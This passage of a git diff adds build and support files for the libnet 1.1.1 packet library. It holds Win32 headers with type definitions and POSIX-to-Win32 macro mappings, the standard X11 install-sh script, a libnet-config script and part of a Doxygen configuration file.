+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ * must display the following acknowledgement:
+ * This product includes software developed by the University of
+ * California, Berkeley and its contributors.
+ * 4. Neither the name of the University nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * @(#)in_systm.h 8.1 (Berkeley) 6/10/93
+ * $FreeBSD: src/sys/netinet/in_systm.h,v 1.9 1999/12/29 04:41:00 peter Exp $
+ */
+
+#ifdef _WIN32
+#ifndef _NETINET_IN_SYSTM_H_
+#define _NETINET_IN_SYSTM_H_
+
+typedef unsigned char u_int8_t;
+typedef unsigned short u_int16_t;
+typedef unsigned int u_int32_t;
+typedef unsigned __int64 u_int64_t;
+
+typedef __int64 int64_t;
+typedef int64_t rlim_t;
+
+
+typedef u_int32_t in_addr_t;
+typedef u_int32_t in_port_t;
+
+/*
+ * Miscellaneous internetwork
+ * definitions for kernel.
+ */
+
+/*
+ * Network types.
+ *
+ * Internally the system keeps counters in the headers with the bytes
+ * swapped so that VAX instructions will work on them. It reverses
+ * the bytes before transmission at each protocol level. The n_ types
+ * represent the types with the bytes in ``high-ender'' order.
+ */
+typedef u_int16_t n_short; /* short as received from the net */
+typedef u_int32_t n_long; /* long as received from the net */
+
+typedef u_int32_t n_time; /* ms since 00:00 GMT, byte rev */
+
+#ifdef _KERNEL
+n_time iptime __P((void));
+#endif
+
+#endif
+
+#endif
diff --git a/libnet/include/win32/libnet.h b/libnet/include/win32/libnet.h
new file mode 100644
index 0000000..4f0c10a
--- /dev/null
+++ b/libnet/include/win32/libnet.h
@@ -0,0 +1,106 @@
+/*
+ * $Id: libnet.h,v 1.7 2004/01/03 20:31:00 mike Exp $
+ *
+ * libnet.h - Network routine library header file for Win32 VC++
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifdef _WIN32
+
+#ifndef __LIBNET_H
+#define __LIBNET_H
+
+#include <winsock2.h>
+#include <windows.h>
+#include <time.h>
+#include "in_systm.h"
+#include "pcap.h"
+
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* __WIN32__ is NOT a predefined MACRO, use _WIN32
+ * __CYGWIN__ is defined within the cygwin environment.
+ */
+#ifndef __WIN32__
+#define __WIN32__ _WIN32
+#endif
+
+#define LIBNET_LIL_ENDIAN 1
+#define HAVE_CONFIG_H 1
+
+/* Some UNIX to Win32 conversions */
+#define STDOUT_FILENO stdout
+#define snprintf _snprintf
+#define write _write
+#define open _open
+#define random rand
+#define close closesocket
+#define __func__ __FUNCTION__
+
+/* __FUNCTION__ available in VC ++ 7.0 (.NET) and greater */
+#if _MSC_VER < 1300
+#define __FUNCTION__ __FILE__
+#endif
+
+#pragma comment (lib,"ws2_32") /* Winsock 2 */
+#pragma comment (lib,"iphlpapi") /* IP Helper */
+#pragma comment (lib,"wpcap") /* Winpcap */
+#pragma comment (lib,"packet")
+
+/* "@LIBNET_VERSION@" will not work in VC++, so version.h doesn't get populated */
+#define VERSION "1.1.1"
+
+/* To use Win32 native versions */
+#define WPCAP 1
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <string.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <ctype.h>
+#include <errno.h>
+#include <stdarg.h>
+#include "../libnet/libnet-macros.h"
+#include "../libnet/libnet-headers.h"
+#include "../libnet/libnet-structures.h"
+#include "../libnet/libnet-asn1.h"
+#include "../libnet/libnet-functions.h"
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* __LIBNET_H */
+
+#endif
+/* EOF */
diff --git a/libnet/install-sh b/libnet/install-sh
new file mode 100755
index 0000000..cbf15ed
--- /dev/null
+++ b/libnet/install-sh
@@ -0,0 +1,250 @@
+#! /bin/sh
+#
+# install - install a program, script, or datafile
+# This comes from X11R5 (mit/util/scripts/install.sh).
+#
+# Copyright 1991 by the Massachusetts Institute of Technology
+#
+# Permission to use, copy, modify, distribute, and sell this software and its
+# documentation for any purpose is hereby granted without fee, provided that
+# the above copyright notice appear in all copies and that both that
+# copyright notice and this permission notice appear in supporting
+# documentation, and that the name of M.I.T. not be used in advertising or
+# publicity pertaining to distribution of the software without specific,
+# written prior permission. M.I.T. makes no representations about the
+# suitability of this software for any purpose. It is provided "as is"
+# without express or implied warranty.
+#
+# Calling this script install-sh is preferred over install.sh, to prevent
+# `make' implicit rules from creating a file called install from it
+# when there is no Makefile.
+#
+# This script is compatible with the BSD install script, but was written
+# from scratch. It can only install one file at a time, a restriction
+# shared with many OS's install programs.
+
+
+# set DOITPROG to echo to test this script
+
+# Don't use :- since 4.3BSD and earlier shells don't like it.
+doit="${DOITPROG-}"
+
+
+# put in absolute paths if you don't have them in your path; or use env. vars.
+
+mvprog="${MVPROG-mv}"
+cpprog="${CPPROG-cp}"
+chmodprog="${CHMODPROG-chmod}"
+chownprog="${CHOWNPROG-chown}"
+chgrpprog="${CHGRPPROG-chgrp}"
+stripprog="${STRIPPROG-strip}"
+rmprog="${RMPROG-rm}"
+mkdirprog="${MKDIRPROG-mkdir}"
+
+transformbasename=""
+transform_arg=""
+instcmd="$cpprog"
+chmodcmd="$chmodprog 0755"
+chowncmd=""
+chgrpcmd=""
+stripcmd=""
+rmcmd="$rmprog -f"
+mvcmd="$mvprog"
+src=""
+dst=""
+dir_arg=""
+
+while [ x"$1" != x ]; do
+ case $1 in
+ -c) instcmd="$cpprog"
+ shift
+ continue;;
+
+ -d) dir_arg=true
+ shift
+ continue;;
+
+ -m) chmodcmd="$chmodprog $2"
+ shift
+ shift
+ continue;;
+
+ -o) chowncmd="$chownprog $2"
+ shift
+ shift
+ continue;;
+
+ -g) chgrpcmd="$chgrpprog $2"
+ shift
+ shift
+ continue;;
+
+ -s) stripcmd="$stripprog"
+ shift
+ continue;;
+
+ -t=*) transformarg=`echo $1 | sed 's/-t=//'`
+ shift
+ continue;;
+
+ -b=*) transformbasename=`echo $1 | sed 's/-b=//'`
+ shift
+ continue;;
+
+ *) if [ x"$src" = x ]
+ then
+ src=$1
+ else
+ # this colon is to work around a 386BSD /bin/sh bug
+ :
+ dst=$1
+ fi
+ shift
+ continue;;
+ esac
+done
+
+if [ x"$src" = x ]
+then
+ echo "install: no input file specified"
+ exit 1
+else
+ true
+fi
+
+if [ x"$dir_arg" != x ]; then
+ dst=$src
+ src=""
+
+ if [ -d $dst ]; then
+ instcmd=:
+ else
+ instcmd=mkdir
+ fi
+else
+
+# Waiting for this to be detected by the "$instcmd $src $dsttmp" command
+# might cause directories to be created, which would be especially bad
+# if $src (and thus $dsttmp) contains '*'.
+
+ if [ -f $src -o -d $src ]
+ then
+ true
+ else
+ echo "install: $src does not exist"
+ exit 1
+ fi
+
+ if [ x"$dst" = x ]
+ then
+ echo "install: no destination specified"
+ exit 1
+ else
+ true
+ fi
+
+# If destination is a directory, append the input filename; if your system
+# does not like double slashes in filenames, you may need to add some logic
+
+ if [ -d $dst ]
+ then
+ dst="$dst"/`basename $src`
+ else
+ true
+ fi
+fi
+
+## this sed command emulates the dirname command
+dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'`
+
+# Make sure that the destination directory exists.
+# this part is taken from Noah Friedman's mkinstalldirs script
+
+# Skip lots of stat calls in the usual case.
+if [ ! -d "$dstdir" ]; then
+defaultIFS='
+'
+IFS="${IFS-${defaultIFS}}"
+
+oIFS="${IFS}"
+# Some sh's can't handle IFS=/ for some reason.
+IFS='%'
+set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'`
+IFS="${oIFS}"
+
+pathcomp=''
+
+while [ $# -ne 0 ] ; do
+ pathcomp="${pathcomp}${1}"
+ shift
+
+ if [ ! -d "${pathcomp}" ] ;
+ then
+ $mkdirprog "${pathcomp}"
+ else
+ true
+ fi
+
+ pathcomp="${pathcomp}/"
+done
+fi
+
+if [ x"$dir_arg" != x ]
+then
+ $doit $instcmd $dst &&
+
+ if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi &&
+ if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi &&
+ if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi &&
+ if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi
+else
+
+# If we're going to rename the final executable, determine the name now.
+
+ if [ x"$transformarg" = x ]
+ then
+ dstfile=`basename $dst`
+ else
+ dstfile=`basename $dst $transformbasename |
+ sed $transformarg`$transformbasename
+ fi
+
+# don't allow the sed command to completely eliminate the filename
+
+ if [ x"$dstfile" = x ]
+ then
+ dstfile=`basename $dst`
+ else
+ true
+ fi
+
+# Make a temp file name in the proper directory.
+
+ dsttmp=$dstdir/#inst.$$#
+
+# Move or copy the file name to the temp name
+
+ $doit $instcmd $src $dsttmp &&
+
+ trap "rm -f ${dsttmp}" 0 &&
+
+# and set any options; do chmod last to preserve setuid bits
+
+# If any of these fail, we abort the whole thing. If we want to
+# ignore errors from any of these, just make sure not to ignore
+# errors from the above "$doit $instcmd $src $dsttmp" command.
+
+ if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi &&
+ if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi &&
+ if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi &&
+ if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi &&
+
+# Now rename the file to the real destination.
+
+ $doit $rmcmd -f $dstdir/$dstfile &&
+ $doit $mvcmd $dsttmp $dstdir/$dstfile
+
+fi &&
+
+
+exit 0
diff --git a/libnet/libnet-config.in b/libnet/libnet-config.in
new file mode 100644
index 0000000..da86f12
--- /dev/null
+++ b/libnet/libnet-config.in
@@ -0,0 +1,62 @@
+#!/bin/sh
+#
+# $Id: libnet-config.in,v 1.3 2004/01/03 20:31:00 mike Exp $
+#
+# Libnet 1.1 libnet-config compilation script
+# (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+#
+# @configure_input@
+
+libnet_defines="@LIBNET_CONFIG_DEFINES@"
+libnet_cflags="@LIBNET_CONFIG_CFLAGS@"
+libnet_libs="@LIBNET_CONFIG_LIBS@ -lnet"
+
+usage()
+{
+ cat <<EOF
+Usage: libnet-config [OPTIONS]
+Options:
+ [--libs]
+ [--cflags]
+ [--defines]
+EOF
+ exit
+}
+
+while test $# -gt 0; do
+ case "$1" in
+ -*=*) optarg=`echo "$1" | sed 's/[-_a-zA-Z0-9]*=//'` ;;
+ *) optarg= ;;
+ esac
+
+ case $1 in
+ --libs)
+ echo_libs=yes
+ ;;
+
+ --cflags)
+ echo_cflags=yes
+ ;;
+
+ --defines)
+ echo_defines=yes
+ ;;
+ *)
+ usage 1
+ esac
+ shift
+done
+
+if test "$echo_libs" = "yes"; then
+ echo $libnet_libs
+fi
+
+if test "$echo_cflags" = "yes"; then
+ echo $libnet_cflags
+fi
+
+if test "$echo_defines" = "yes"; then
+ echo $libnet_defines
+fi
+
+# EOF
diff --git a/libnet/libnet.doxygen.conf b/libnet/libnet.doxygen.conf
new file mode 100644
index 0000000..0fe9cab
--- /dev/null
+++ b/libnet/libnet.doxygen.conf
@@ -0,0 +1,1102 @@
+# Doxyfile 1.3.2
+# $Id: libnet.doxygen.conf,v 1.2 2003/07/12 00:39:54 route Exp $
+
+# This file describes the settings to be used by the documentation system
+# doxygen (www.doxygen.org) for a project
+#
+# All text after a hash (#) is considered a comment and will be ignored
+# The format is:
+# TAG = value [value, ...]
+# For lists items can also be appended using:
+# TAG += value [value, ...]
+# Values that contain spaces should be placed between quotes (" ")
+
+#---------------------------------------------------------------------------
+# General configuration options
+#---------------------------------------------------------------------------
+
+# The PROJECT_NAME tag is a single word (or a sequence of words surrounded
+# by quotes) that should identify the project.
+
+PROJECT_NAME = "libnet"
+
+# The PROJECT_NUMBER tag can be used to enter a project or revision number.
+# This could be handy for archiving the generated documentation or
+# if some version control system is used.
+
+PROJECT_NUMBER = "1.1.1"
+
+# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute)
+# base path where the generated documentation will be put.
+# If a relative path is entered, it will be relative to the location
+# where doxygen was started. If left blank the current directory will be used.
+
+OUTPUT_DIRECTORY = "doc"
+
+# The OUTPUT_LANGUAGE tag is used to specify the language in which all
+# documentation generated by doxygen is written. Doxygen will use this
+# information to generate all constant output in the proper language.
+# The default language is English, other supported languages are:
+# Brazilian, Catalan, Chinese, Chinese-Traditional, Croatian, Czech, Danish, Dutch,
+# Finnish, French, German, Greek, Hungarian, Italian, Japanese, Japanese-en
+# (Japanese with English messages), Korean, Norwegian, Polish, Portuguese,
+# Romanian, Russian, Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian.
+
+OUTPUT_LANGUAGE = English
+
+# This tag can be used to specify the encoding used in the generated output.
+# The encoding is not always determined by the language that is chosen,
+# but also whether or not the output is meant for Windows or non-Windows users.
+# In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES
+# forces the Windows encoding (this is the default for the Windows binary),
+# whereas setting the tag to NO uses a Unix-style encoding (the default for
+# all platforms other than Windows).
+
+USE_WINDOWS_ENCODING = NO
+
+# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in
+# documentation are documented, even if no documentation was available.
+# Private class members and static file members will be hidden unless
+# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
+
+EXTRACT_ALL = NO
+
+# If the EXTRACT_PRIVATE tag is set to YES all private members of a class
+# will be included in the documentation.
+
+EXTRACT_PRIVATE = NO
+
+# If the EXTRACT_STATIC tag is set to YES all static members of a file
+# will be included in the documentation.
+
+EXTRACT_STATIC = NO
+
+# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs)
+# defined locally in source files will be included in the documentation.
+# If set to NO only classes defined in header files are included.
+
+EXTRACT_LOCAL_CLASSES = YES
+
+# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all
+# undocumented members of documented classes, files or namespaces.
+# If set to NO (the default) these members will be included in the
+# various overviews, but no documentation section is generated.
+# This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_MEMBERS = NO
+
+# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all
+# undocumented classes that are normally visible in the class hierarchy.
+# If set to NO (the default) these classes will be included in the various
+# overviews. This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_CLASSES = NO
+
+# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all
+# friend (class|struct|union) declarations.
+# If set to NO (the default) these declarations will be included in the
+# documentation.
+
+HIDE_FRIEND_COMPOUNDS = NO
+
+# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any
+# documentation blocks found inside the body of a function.
+# If set to NO (the default) these blocks will be appended to the
+# function's detailed documentation block.
+
+HIDE_IN_BODY_DOCS = NO
+
+# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will
+# include brief member descriptions after the members that are listed in
+# the file and class documentation (similar to JavaDoc).
+# Set to NO to disable this.
+
+BRIEF_MEMBER_DESC = YES
+
+# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend
+# the brief description of a member or function before the detailed description.
+# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the
+# brief descriptions will be completely suppressed.
+
+REPEAT_BRIEF = YES
+
+# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then
+# Doxygen will generate a detailed section even if there is only a brief
+# description.
+
+ALWAYS_DETAILED_SEC = NO
+
+# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all inherited
+# members of a class in the documentation of that class as if those members were
+# ordinary class members. Constructors, destructors and assignment operators of
+# the base classes will not be shown.
+
+INLINE_INHERITED_MEMB = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full
+# path before files name in the file list and in the header files. If set
+# to NO the shortest path that makes the file name unique will be used.
+
+FULL_PATH_NAMES = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag
+# can be used to strip a user-defined part of the path. Stripping is
+# only done if one of the specified strings matches the left-hand part of
+# the path. It is allowed to use relative paths in the argument list.
+
+STRIP_FROM_PATH =
+
+# The INTERNAL_DOCS tag determines if documentation
+# that is typed after a \internal command is included. If the tag is set
+# to NO (the default) then the documentation will be excluded.
+# Set it to YES to include the internal documentation.
+
+INTERNAL_DOCS = NO
+
+# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate
+# file names in lower-case letters. If set to YES upper-case letters are also
+# allowed. This is useful if you have classes or files whose names only differ
+# in case and if your file system supports case sensitive file names. Windows
+# users are advised to set this option to NO.
+
+CASE_SENSE_NAMES = YES
+
+# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter
+# (but less readable) file names. This can be useful is your file systems
+# doesn't support long names like on DOS, Mac, or CD-ROM.
+
+SHORT_NAMES = NO
+
+# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen
+# will show members with their full class and namespace scopes in the
+# documentation. If set to YES the scope will be hidden.
+
+HIDE_SCOPE_NAMES = NO
+
+# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen
+# will put a list of the files that are included by a file in the documentation
+# of that file.
+
+SHOW_INCLUDE_FILES = YES
+
+# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen
+# will interpret the first line (until the first dot) of a JavaDoc-style
+# comment as the brief description. If set to NO, the JavaDoc
+# comments will behave just like the Qt-style comments (thus requiring an
+# explict @brief command for a brief description.
+
+JAVADOC_AUTOBRIEF = NO
+
+# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen
+# treat a multi-line C++ special comment block (i.e. a block of //! or ///
+# comments) as a brief description. This used to be the default behaviour.
+# The new default is to treat a multi-line C++ comment block as a detailed
+# description. Set this tag to YES if you prefer the old behaviour instead.
+
+MULTILINE_CPP_IS_BRIEF = NO
+
+# If the DETAILS_AT_TOP tag is set to YES then Doxygen
+# will output the detailed description near the top, like JavaDoc.
+# If set to NO, the detailed description appears after the member
+# documentation.
+
+DETAILS_AT_TOP = NO
+
+# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented
+# member inherits the documentation from any documented member that it
+# reimplements.
+
+INHERIT_DOCS = YES
+
+# If the INLINE_INFO tag is set to YES (the default) then a tag [inline]
+# is inserted in the documentation for inline members.
+
+INLINE_INFO = YES
+
+# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen
+# will sort the (detailed) documentation of file and class members
+# alphabetically by member name. If set to NO the members will appear in
+# declaration order.
+
+SORT_MEMBER_DOCS = YES
+
+# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC
+# tag is set to YES, then doxygen will reuse the documentation of the first
+# member in the group (if any) for the other members of the group. By default
+# all members of a group must be documented explicitly.
+
+DISTRIBUTE_GROUP_DOC = NO
+
+# The TAB_SIZE tag can be used to set the number of spaces in a tab.
+# Doxygen uses this value to replace tabs by spaces in code fragments.
+
+TAB_SIZE = 4
+
+# The GENERATE_TODOLIST tag can be used to enable (YES) or
+# disable (NO) the todo list. This list is created by putting \todo
+# commands in the documentation.
+
+GENERATE_TODOLIST = YES
+
+# The GENERATE_TESTLIST tag can be used to enable (YES) or
+# disable (NO) the test list. This list is created by putting \test
+# commands in the documentation.
+
+GENERATE_TESTLIST = YES
+
+# The GENERATE_BUGLIST tag can be used to enable (YES) or
+# disable (NO) the bug list. This list is created by putting \bug
+# commands in the documentation.
+
+GENERATE_BUGLIST = YES
+
+# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or
+# disable (NO) the deprecated list. This list is created by putting
+# \deprecated commands in the documentation.
+
+GENERATE_DEPRECATEDLIST= YES
+
+# This tag can be used to specify a number of aliases that acts
+# as commands in the documentation. An alias has the form "name=value".
+# For example adding "sideeffect=\par Side Effects:\n" will allow you to
+# put the command \sideeffect (or @sideeffect) in the documentation, which
+# will result in a user-defined paragraph with heading "Side Effects:".
+# You can put \n's in the value part of an alias to insert newlines.
+
+ALIASES =
+
+# The ENABLED_SECTIONS tag can be used to enable conditional
+# documentation sections, marked by \if sectionname ... \endif.
+
+ENABLED_SECTIONS =
+
+# The MAX_INITIALIZER_LINES tag determines the maximum number of lines
+# the initial value of a variable or define consists of for it to appear in
+# the documentation. If the initializer consists of more lines than specified
+# here it will be hidden. Use a value of 0 to hide initializers completely.
+# The appearance of the initializer of individual variables and defines in the
+# documentation can be controlled using \showinitializer or \hideinitializer
+# command in the documentation regardless of this setting.
+
+MAX_INITIALIZER_LINES = 30
+
+# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C sources
+# only. Doxygen will then generate output that is more tailored for C.
+# For instance, some of the names that are used will be different. The list
+# of all members will be omitted, etc.
+
+OPTIMIZE_OUTPUT_FOR_C = YES
+
+# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java sources
+# only. Doxygen will then generate output that is more tailored for Java.
+# For instance, namespaces will be presented as packages, qualified scopes
+# will look different, etc.
+
+OPTIMIZE_OUTPUT_JAVA = NO
+
+# Set the SHOW_USED_FILES tag to NO to disable the list of files generated
+# at the bottom of the documentation of classes and structs. If set to YES the
+# list will mention the files that were used to generate the documentation.
+
+SHOW_USED_FILES = YES
+
+#---------------------------------------------------------------------------
+# configuration options related to warning and progress messages
+#---------------------------------------------------------------------------
+
+# The QUIET tag can be used to turn on/off the messages that are generated
+# by doxygen. Possible values are YES and NO. If left blank NO is used.
+
+QUIET = NO
+
+# The WARNINGS tag can be used to turn on/off the warning messages that are
+# generated by doxygen. Possible values are YES and NO. If left blank
+# NO is used.
+
+WARNINGS = YES
+
+# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings
+# for undocumented members. If EXTRACT_ALL is set to YES then this flag will
+# automatically be disabled.
+
+WARN_IF_UNDOCUMENTED = YES
+
+# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for
+# potential errors in the documentation, such as not documenting some
+# parameters in a documented function, or documenting parameters that
+# don't exist or using markup commands wrongly.
+
+WARN_IF_DOC_ERROR = YES
+
+# The WARN_FORMAT tag determines the format of the warning messages that
+# doxygen can produce. The string should contain the $file, $line, and $text
+# tags, which will be replaced by the file and line number from which the
+# warning originated and the warning text.
+
+WARN_FORMAT = "$file:$line: $text"
+
+# The WARN_LOGFILE tag can be used to specify a file to which warning
+# and error messages should be written. If left blank the output is written
+# to stderr.
+
+WARN_LOGFILE =
+
+#---------------------------------------------------------------------------
+# configuration options related to the input files
+#---------------------------------------------------------------------------
+
+# The INPUT tag can be used to specify the files and/or directories that contain
+# documented source files. You may enter file names like "myfile.cpp" or
+# directories like "/usr/src/myproject". Separate the files or directories
+# with spaces.
+
+INPUT = .
+
+# If the value of the INPUT tag contains directories, you can use the
+# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
+# and *.h) to filter out the source-files in the directories. If left
+# blank the following patterns are tested:
+# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx *.hpp
+# *.h++ *.idl *.odl *.cs
+
+FILE_PATTERNS = *.c *.h *.in
+
+# The RECURSIVE tag can be used to turn specify whether or not subdirectories
+# should be searched for input files as well. Possible values are YES and NO.
+# If left blank NO is used.
+
+RECURSIVE = YES
+
+# The EXCLUDE tag can be used to specify files and/or directories that should
+# excluded from the INPUT source files. This way you can easily exclude a
+# subdirectory from a directory tree whose root is specified with the INPUT tag.
+
+EXCLUDE =
+
+# The EXCLUDE_SYMLINKS tag can be used select whether or not files or directories
+# that are symbolic links (a Unix filesystem feature) are excluded from the input.
+
+EXCLUDE_SYMLINKS = NO
+
+# If the value of the INPUT tag contains directories, you can use the
+# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude
+# certain files from those directories.
+
+EXCLUDE_PATTERNS = */sample/*
+
+# The EXAMPLE_PATH tag can be used to specify one or more files or
+# directories that contain example code fragments that are included (see
+# the \include command).
+
+EXAMPLE_PATH =
+
+# If the value of the EXAMPLE_PATH tag contains directories, you can use the
+# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
+# and *.h) to filter out the source-files in the directories. If left
+# blank all files are included.
+
+EXAMPLE_PATTERNS =
+
+# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be
+# searched for input files to be used with the \include or \dontinclude
+# commands irrespective of the value of the RECURSIVE tag.
+# Possible values are YES and NO. If left blank NO is used.
+
+EXAMPLE_RECURSIVE = NO
+
+# The IMAGE_PATH tag can be used to specify one or more files or
+# directories that contain image that are included in the documentation (see
+# the \image command).
+
+IMAGE_PATH =
+
+# The INPUT_FILTER tag can be used to specify a program that doxygen should
+# invoke to filter for each input file. Doxygen will invoke the filter program
+# by executing (via popen()) the command <filter> <input-file>, where <filter>
+# is the value of the INPUT_FILTER tag, and <input-file> is the name of an
+# input file. Doxygen will then use the output that the filter program writes
+# to standard output.
+
+INPUT_FILTER =
+
+# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using
+# INPUT_FILTER) will be used to filter the input files when producing source
+# files to browse (i.e. when SOURCE_BROWSER is set to YES).
+
+FILTER_SOURCE_FILES = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to source browsing
+#---------------------------------------------------------------------------
+
+# If the SOURCE_BROWSER tag is set to YES then a list of source files will
+# be generated. Documented entities will be cross-referenced with these sources.
+
+SOURCE_BROWSER = NO
+
+# Setting the INLINE_SOURCES tag to YES will include the body
+# of functions and classes directly in the documentation.
+
+INLINE_SOURCES = NO
+
+# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct
+# doxygen to hide any special comment blocks from generated source code
+# fragments. Normal C and C++ comments will always remain visible.
+
+STRIP_CODE_COMMENTS = YES
+
+# If the REFERENCED_BY_RELATION tag is set to YES (the default)
+# then for each documented function all documented
+# functions referencing it will be listed.
+
+REFERENCED_BY_RELATION = YES
+
+# If the REFERENCES_RELATION tag is set to YES (the default)
+# then for each documented function all documented entities
+# called/used by that function will be listed.
+
+REFERENCES_RELATION = YES
+
+# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen
+# will generate a verbatim copy of the header file for each class for
+# which an include is specified. Set to NO to disable this.
+
+VERBATIM_HEADERS = YES
+
+#---------------------------------------------------------------------------
+# configuration options related to the alphabetical class index
+#---------------------------------------------------------------------------
+
+# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index
+# of all compounds will be generated. Enable this if the project
+# contains a lot of classes, structs, unions or interfaces.
+
+ALPHABETICAL_INDEX = NO
+
+# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then
+# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns
+# in which this list will be split (can be a number in the range [1..20])
+
+COLS_IN_ALPHA_INDEX = 5
+
+# In case all classes in a project start with a common prefix, all
+# classes will be put under the same header in the alphabetical index.
+# The IGNORE_PREFIX tag can be used to specify one or more prefixes that
+# should be ignored while generating the index headers.
